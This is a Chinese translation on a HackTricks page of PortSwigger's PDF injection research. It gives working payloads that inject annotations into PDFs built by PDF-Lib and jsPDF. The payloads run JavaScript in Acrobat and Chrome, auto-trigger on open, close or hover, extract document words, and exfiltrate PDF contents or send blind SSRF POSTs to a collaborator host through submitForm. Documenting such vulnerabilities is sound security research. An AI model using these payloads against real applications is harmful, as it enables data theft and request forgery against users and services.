19 KiB
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF版的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品The PEASS Family
-
加入💬 Discord群组 或 电报群组 或 关注我在Twitter上的🐦@carlospolopm。
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。
如果你的输入被反射到PDF文件中,你可以尝试注入PDF数据来执行JavaScript或窃取PDF内容。
以下信息摘自https://portswigger.net/research/portable-data-exfiltration
PDF-Lib
这次,我使用了PDFLib。我花了一些时间使用该库创建一个注释,并尝试将一个闭合括号注入到注释的URI中 - 结果成功了!我用来生成注释代码的样本漏洞代码如下:
...
A: {
Type: 'Action',
S: 'URI',
URI: PDFString.of(`injection)`),
}
})
...
我如何知道注入成功了呢?除非我注入一个闭合括号,否则PDF将正确渲染。这证明闭合括号打破了字符串并导致PDF代码无效。破坏PDF很好,但我需要确保能够执行JavaScript。我查看了渲染后的PDF代码,并注意到输出是使用FlateDecode过滤器进行编码的。我编写了一个小脚本来解压缩该块,注释部分的输出如下所示:<<
/Type /Annot
/Subtype /Link
/Rect [ 50 746.89 320 711.89 ]
/Border [ 0 0 2 ]
/C [ 0 0 1 ]
/A <<
/Type /Action
/S /URI
/URI (injection))
>>
>>
正如你可以清楚地看到的那样,注入字符串用一个闭合括号关闭了文本边界,留下了一个已存在的闭合括号,导致PDF渲染不正确:
太好了,我可以破坏PDF的渲染,接下来呢?我需要想出一个调用一些JavaScript的注入 - PDF注入中的alert(1)。
就像XSS向量依赖于浏览器的解析一样,PDF注入的可利用性可能取决于PDF渲染器。我决定首先针对Acrobat进行攻击,因为我认为这些向量在Chrome中的可行性较低。我注意到两件事:1)你可以注入其他的注释操作,2)如果你修复现有的闭合括号,PDF将会渲染。经过一些实验,我想出了一个很好的有效负载,它注入了一个额外的注释操作,执行了JavaScript,并修复了闭合括号:/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action>>/>>(
首先打破括号,然后使用>>打破字典,然后开始一个新的注释字典。/S/JavaScript使注释基于JavaScript,/JS是存储JavaScript的地方。括号内是我们实际的JavaScript代码。请注意,如果括号是平衡的,你不需要转义括号。最后,我添加了注释的类型,完成了字典,并修复了闭合括号。这太酷了,我可以制作一个执行JavaScript的注入,但那又怎样呢?你可以执行JavaScript,但你无法访问DOM,所以你无法读取cookie。然后,James出现了,并建议从注入中窃取PDF的内容。我开始寻找获取PDF内容的方法。在Acrobat中,我发现你可以使用JavaScript在没有任何用户交互的情况下提交表单!查看JavaScript API的规范,修改基本注入并添加一些JavaScript代码,将整个PDF代码的内容发送到外部服务器的POST请求中:/blah)>>/A<</S/JavaScript/JS(app.alert(1);
this.submitForm({
cURL: 'https://your-id.burpcollaborator.net',cSubmitAs: 'PDF'}))
/Type/Action>>/>>(
alert不是必需的,我只是为了证明注入正在执行JavaScript。
接下来,只是为了好玩,我尝试在不使用JavaScript的情况下窃取PDF的内容。从PDF规范中,我发现可以使用一个名为SubmitForm的操作。我在过去使用过这个操作,当我在Burp Suite中构建一个用于扫描检查的PDF时。它正如其名。它还有一个Flags字典项来控制提交的内容。Flags字典键接受一个整数值,但每个单独的设置由一个二进制位控制。使用ES6中的新二进制字面量来处理这些设置是一个很好的方法。二进制字面量应该有14位,因为总共有14个标志。在下面的示例中,所有设置都被禁用:0b00000000000000
要设置一个标志,首先需要查找它的位位置(PDF规范的表237)。在这种情况下,我们想设置SubmitPDF标志。由于这由第9位控制,所以你只需要从右边数9位:0b00000100000000
如果您使用JavaScript进行评估,这将导致十进制值256。换句话说,将Flags条目设置为256将启用SubmitPDF标志,这会在提交表单时发送PDF的内容。我们所需要做的就是使用之前创建的基本注入,并将其修改为调用SubmitForm操作而不是JavaScript:/blah)>>/A<</S/SubmitForm/Flags 256/F(
https://your-id.burpcollaborator.net)
/Type/Action>>/>>(
sPDF
接下来,我将我的方法应用于另一个PDF库 - jsPDF - 并发现它也存在漏洞。利用这个库非常有趣,因为它们有一个可以在浏览器中执行并允许您实时生成PDF的API。我注意到,与PDP-Lib库一样,他们忘记了在注释URL中转义括号。这里的url属性是有漏洞的:doc.createAnnotation({bounds:
{x:0,y:10,w:200,h:200},
type:'link',url:`/input`});
//vulnerable
因此,我使用他们的API生成了一个PDF,并将PDF代码注入到url属性中:
var doc = new jsPDF();
doc.text(20, 20, 'Hello world!');
doc.addPage('a6','l');
doc.createAnnotation({bounds:
{x:0,y:10,w:200,h:200},type:'link',url:`
/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action/F 0/(
`});
我通过删除字典的类型条目和不需要的F条目来减少了向量。然后,我留下了一个悬空的括号,这个括号将由现有的括号关闭。减少注入的大小很重要,因为您要注入的Web应用程序可能只允许有限数量的字符。/blah)>>/A<</S/JavaScript/JS(app.alert(1)
然后,我发现可以进一步减少向量!Acrobat允许在一个注释操作中同时使用URI和JavaScript条目,并且会愉快地执行JavaScript:/)/S/JavaScript/JS(app.alert(1)
进一步的研究揭示了您还可以注入多个注释。这意味着您不仅可以注入一个操作,还可以跳出注释并定义自己的矩形坐标,以选择文档的哪个部分可点击。使用这种技术,我能够使整个文档可点击。/) >> >>
<</Type /Annot /Subtype /Link /Rect [0.00 813.54 566.93 -298.27] /Border [0 0
0] /A <</S/SubmitForm/Flags 0/F(https://your-id.burpcollaborator.net
在没有交互的情况下执行注释
到目前为止,我演示的向量需要点击才能激活注释的操作。通常,James问了一个问题:“我们能自动执行吗?”我查看了PDF规范,并注意到注释的一些有趣特性:
“PV和PI条目允许区分打开的页面和可见的页面。在任何时候,查看器应用程序只会将一个页面视为打开状态,而可以看到多个页面,这取决于页面布局。”
我们可以向字典添加PV条目,注释将自动在Acrobat上触发!不仅如此,我们还可以在关闭PDF文档时自动执行有效载荷,使用PC条目。攻击者可以在您打开和关闭PDF时跟踪您。
以下是如何从注释中自动执行的方法:var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/)
>> >>
<</Subtype /Screen /Rect [0 0 900 900] /AA <</PV <</S/JavaScript/JS(app.alert(1))>>/(`});
doc.text(20, 20, 'Auto execute');
当您关闭PDF时,此注释将触发:var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >>
<</Subtype /Screen /Rect [0 0 900 900] /AA <</PC <</S/JavaScript/JS(app.alert(1))>>/(`});
doc.text(20, 20, 'Close me');
Chrome
我已经谈了很多关于Acrobat,但是PDFium(Chrome的PDF阅读器)呢?Chrome很棘手;攻击面比Acrobat小得多,因为其JavaScript支持比Acrobat有限。我首先注意到的是,JavaScript根本不会在注释中执行,因此我的概念验证无法工作。为了使向量在Chrome中起作用,我至少需要在注释中执行JavaScript。不过,首先我决定尝试覆盖注释中的URL。这很容易。我可以使用之前提出的基本注入,并简单地注入另一个具有URI条目的操作,该条目将覆盖现有的URL:var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<</S/URI/URI(https://portswigger.net)
/Type/Action>>/F 0>>(`});
doc.text(20, 20, 'Test text');
这将在点击时导航到portswigger.net。然后,我继续尝试不同的注入方式来调用JavaScript,但每次都失败了。我认为这是不可能的。我退后一步,尝试手动构建一个完整的PDF,以便在Chrome中通过点击而无需注入调用JavaScript。当使用AcroForm按钮时,Chrome将允许执行JavaScript,但问题是它需要引用PDF的某些部分。我成功地构建了一个注入,它将从JSPDF的点击中执行JavaScript:var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.825 0.8275 0.8275]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1))/Type/Action/F 4/DA(blah`});
doc.text(20, 20, 'Click me test');
如您所见,上述向量需要了解PDF结构。[ 3 0 R]指的是特定的PDF对象,如果我们进行盲目的PDF注入攻击,我们将不知道其结构。不过,下一步是尝试表单提交。我们可以使用submitForm函数来实现,因为注释需要点击,Chrome将允许它:/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.0 813.54 566.93 -298.27]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1);this.submitForm('https://your-id.burpcollaborator.net'))/Type/Action/F 4/DA(blah
这样可以工作,但是代码很乱,需要了解PDF结构。我们可以大大简化它,并消除对PDF结构的依赖:#) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0 0 889 792]/CA(Submit)>>/Rect [ 0 0 889 792]/Subtype/Widget/AP<</N <</Type/XObject/Subtype/Form>>>>/Parent <</Kids[ ]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(
app.alert(1)
)/Type/Action/F 4/DA(blah
``
我们还可以删除一些代码:var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>>>><</Type/Annot/Rect[ 0 0 900 900]/Subtype/Widget/Parent<</FT/Btn/T(A)>>/A<</S/JavaScript/JS(app.alert(1))/(`});
doc.text(20, 20, 'Test text');
``
上面的代码跳出了注释,创建了一个新的注释,并使整个页面可点击。为了执行JavaScript代码,我们必须注入一个按钮,并使用“T”条目给它任意文本。然后,我们可以使用字典中的JS条目最终注入我们的JavaScript代码。在Chrome上执行JavaScript很棒。当我开始这项研究时,我从未想过这是可能的。
接下来,我研究了submitForm函数以窃取PDF的内容。我们知道我们可以调用该函数,并且它会与外部服务器联系,正如上面的示例所示,但它是否支持完整的Acrobat规范呢?我查看了PDFium的源代码,但该函数不支持SubmitAsPDF :( 您可以看到它支持FDF,但不幸的是,这不会提交PDF的内容。我寻找其他方法,但不知道有哪些可用的对象。我采用了与Acrobat相同的方法,编写了一个模糊器/枚举器来查找有趣的对象。从Chrome中获取信息比Acrobat更困难;我必须在输出之前以块的形式收集信息,然后使用alert函数输出它。这是因为alert函数会截断发送给它的字符串。...
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>> <</Type/Annot/Rect[0 0 900 900]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS(
(function(){
var obj = this,
data = '',
chunks = [],
counter = 0,
added = false, i, props = [];
for(i in obj) {
props.push(i);
}
...
检查枚举器的输出后,我尝试调用各种函数,希望进行外部请求或从PDF中获取信息。最终,我找到了一个非常有趣的函数,名为getPageNthWord,它可以从PDF文档中提取单词,从而使我能够窃取内容。该函数有一个微妙的错误,有时第一个单词不会被提取。但大部分情况下,它会提取大部分单词:var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>> <</Type/Annot/Rect[0 0 900 900]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS(
words = [];
for(page=0;page<this.numPages;page++) {
for(wordPos=0;wordPos<this.getPageNumWords(page);wordPos++) {
word = this.getPageNthWord(page, wordPos, true);
words.push(word);
}
}
app.alert(words);
`});
doc.text(20, 20, 'Click me test');
doc.text(20, 40, 'Abc Def');
doc.text(20, 60, 'Some word');
``
我对自己能够在Chrome上窃取PDF内容感到非常满意,因为我从未想过这是可能的。将此与submitForm向量结合使用,可以将数据发送到外部服务器。唯一的缺点是需要点击。我想知道是否可以在Chrome上实现无需点击的JavaScript执行。再次查看PDF规范,我注意到注释字典中还有一个名为“E”的条目,当鼠标进入注释区域时将执行注释-基本上是一个鼠标悬停事件。不幸的是,这不算作用户交互以启用表单提交。因此,尽管可以执行JavaScript,但无法对数据进行任何操作,因为无法将其发送到外部服务器。如果您能够通过此事件使Chrome提交数据,请告诉我,因为我会非常感兴趣。无论如何,以下是触发鼠标悬停事件的代码:var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >>
<</Type /Annot /Subtype /Widget /Parent<</FT/Btn/T(a)>> /Rect [0 0 900 900] /AA <</E <</S/JavaScript/JS(app.alert(1))>>/(`});
doc.text(20, 20, 'Test');
``
PDFium/Acrobat中的SSRF
可以使用PDFium/Acrobat发送POST请求来执行SSRF攻击。这将是一种盲目的SSRF,因为您可以发送POST请求,但无法读取响应。要构造POST请求,可以像之前演示的那样使用/parent字典键将表单元素分配给注释,从而启用JavaScript执行。但是,与之前使用按钮不同,您可以使用参数名称(/T)和参数值(/V)字典键将文本字段(/Tx)分配给注释。请注意,您必须将要使用的参数名称作为数组传递给submitForm函数:#)>>>><</Type/Annot/Rect[ 0 0 900 900]/Subtype/Widget/Parent<</FT/Tx/T(foo)/V(bar)>>/A<</S/JavaScript/JS(
app.alert(1);
this.submitForm('https://aiws4u6uubgfdag94xvc5wbrfilc91.burpcollaborator.net', false, false, ['foo']);
)/(
``
您甚至可以发送原始换行符,这在链接其他攻击(如请求走私)时可能很有用。POST请求的结果可以在以下Collaborator请求中看到:
最后,我想以Chrome和Acrobat PDF注入的混合方式结束。第一部分将JavaScript注入到现有注释中,以在Acrobat上执行JavaScript。第二部分跳出注释并注入一个新的注释,为Chrome定义一个新的可点击区域。我再次使用Acroform技巧来注入一个按钮,以便执行JavaScript:var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)/S/JavaScript/JS(app.alert(1))/Type/Action>> >> <</Type/Annot/Rect[0 0 900 700]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS(app.alert(1)`});
doc.text(20, 20, 'Click me Acrobat');
doc.text(20, 60, 'Click me Chrome');
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
您在网络安全公司工作吗?您想在HackTricks中看到您的公司广告吗?或者您想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFT收藏品——The PEASS Family
-
加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享您的黑客技巧。